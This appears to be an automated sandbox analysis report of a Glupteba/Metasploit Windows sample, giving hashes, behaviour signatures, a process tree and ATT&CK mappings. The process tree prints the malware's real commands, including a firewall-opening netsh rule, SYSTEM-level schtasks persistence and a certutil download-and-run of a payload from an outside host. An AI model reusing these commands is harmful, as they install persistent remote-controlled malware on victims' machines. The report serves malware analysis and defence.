Analysis
-
max time kernel
146s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
-
submitted
18/08/2024, 23:58
General
-
Target
a8c13ca720d705eeaf065887cb067752_JaffaCakes118.exe
-
Size
3.9MB
-
MD5
a8c13ca720d705eeaf065887cb067752
-
SHA1
7a08d1d8ca22688d822f12012bc2a97e8e8338ea
-
SHA256
b8f7432a062776fb65d913eb3c9e7a8b3975e43ad51b1fcd868098ce0b08500e
-
SHA512
c0ec88956dd1c1bf4f8f09648edc689c46a4bab41c17ae885dfe213d7c6a9f85b5d7ecab9eda831173b7c23c46126db7e72ac1b0bc644e103ff75169a9decfff
-
SSDEEP
98304:Y8QqLhao+WzmBfg1hjtbSSa/WE4PqRkfu:Yv8ao1hjtMWE4iR
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba payload 21 IoCs
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Modifies Windows Firewall 2 TTPs 1 IoCs
-
Executes dropped EXE 2 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
-
Modifies boot configuration data using bcdedit 1 IoCs
-
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
-
Drops file in Windows directory 2 IoCs
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
Program crash 2 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies system certificate store 2 TTPs 3 IoCs
-
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
-
Suspicious use of WriteProcessMemory 9 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\a8c13ca720d705eeaf065887cb067752_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\a8c13ca720d705eeaf065887cb067752_JaffaCakes118.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\a8c13ca720d705eeaf065887cb067752_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\a8c13ca720d705eeaf065887cb067752_JaffaCakes118.exe"2⤵
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 6603⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 6202⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4304 -ip 43041⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4348,i,11391966286255097843,10588851088187498028,262144 --variations-seed-version --mojo-platform-channel-handle=3840 /prefetch:81⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4872 -ip 48721⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
Filesize
3.9MB
MD5a8c13ca720d705eeaf065887cb067752
SHA17a08d1d8ca22688d822f12012bc2a97e8e8338ea
SHA256b8f7432a062776fb65d913eb3c9e7a8b3975e43ad51b1fcd868098ce0b08500e
SHA512c0ec88956dd1c1bf4f8f09648edc689c46a4bab41c17ae885dfe213d7c6a9f85b5d7ecab9eda831173b7c23c46126db7e72ac1b0bc644e103ff75169a9decfff
-
Filesize
8.2MB
-
Filesize
8.2MB
-
Filesize
8.2MB
-
Filesize
8.2MB
-
Filesize
8.2MB
-
Filesize
8.2MB
-
Filesize
8.2MB
-
Filesize
8.2MB
-
Filesize
8.2MB
-
Filesize
8.2MB
-
Filesize
8.2MB
-
Filesize
8.2MB
-
Filesize
8.2MB
-
Filesize
8.2MB
-
Filesize
3.7MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.1MB
-
Filesize
8.1MB
-
Filesize
8.2MB
-
Filesize
8.2MB
-
Filesize
8.2MB
-
Filesize
8.2MB
-
Filesize
8.2MB